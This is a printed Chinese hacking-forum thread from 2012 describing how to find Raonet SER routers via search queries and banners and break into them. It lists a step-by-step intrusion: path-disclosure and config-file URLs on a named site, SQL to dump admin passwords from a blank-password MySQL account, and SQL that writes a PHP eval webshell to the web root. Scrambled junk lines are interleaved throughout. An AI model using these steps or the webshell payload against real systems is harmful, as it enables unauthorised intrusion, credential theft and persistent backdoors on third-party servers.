中国网络渗透测试联盟
标题:
利用某路由器漏洞入侵国外站点
[打印本页]
作者:
admin
时间:
2012-12-10 10:30
标题:
利用某路由器漏洞入侵国外站点
寻找存在漏洞的路由器方法：
& ]5 ~2 N: N5 w3 L; D/ h
$ H4 S0 C( J, d4 N4 p
1：google搜索'Raonet Subscriber Ethernet Router'
2 x7 a! ]+ K0 `$ q& K( m2 H
- q5 C& X, l7 t8 d2 m
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
' i# V [: H( W5 }- z
! e b. _; r! E( [6 `' k; ^/ n! E
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
* b$ \1 T* {- i: N4 ]- b; |
0 t. {5 g+ o( ^2 i
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
3 R) {7 o9 \6 N/ `+ g) v
" `- G, P; } h# a
! I1 T6 d& C* V$ q/ [2 O+ h4 e% E
6 Y4 i! {7 P- D; Z- k' q& I. [( T
入侵步骤：
0 [8 R8 Q9 Y+ B7 ^% x* Q9 d# l4 `8 S: H
' G2 p; p6 a. y' O& H
1.爆web路径，
http://www.yu1u.org/src/jpgraph_line.php
4 J3 J) g. s% q/ L0 k
0 R; V x* N0 z5 [( T
2:查看数据库配置文件，
http://www.yu1u.org/inc/conn_db.inc
% v9 Z2 d; V: a9 T6 q+ l' R
3：得到密码后连接，查看GUI管理密码：
$ Z, }2 z! x4 x% _7 l; E- Z" ~$ h
use ser_500
$ j* ]: A& ~% ^- Y& }
select id,passwd from user;
; B) O' ^/ l, D2 ?, D! U# l
4:通过数据库写入webshell，执行命令：
4 K' o8 S% W/ a- R2 |$ S6 n
use mysql;
$ {! Y" M: x; ]3 J
create table ok(cmd TEXT);
. O* ~4 ~6 p4 S$ a3 i
insert into ok values("<?php @eval($_POST[cmd])?>");
. y' K; h) i5 J/ @% D$ F, W9 h
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
G) k) R6 y* Z; ?1 I% p
drop table ok;
, X3 G8 @9 z0 [8 `
) _' ]' q4 E0 c# f
5:连接后门shell.php
7 w: y; h7 J0 m- { a/ c
5 w; V1 R( Q$ b& C) ^' F; `4 d+ D, S6 a
6. 搞定！
# E2 x7 }( P: c& }4 q4 R
# n* o# p7 P4 o8 p. V
作者:
Anthony~
时间:
2013-7-27 20:06
这个后果可以很严重的说
作者:
jos666
时间:
2013-7-29 12:07
不错哦，黑服务器补洞。。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2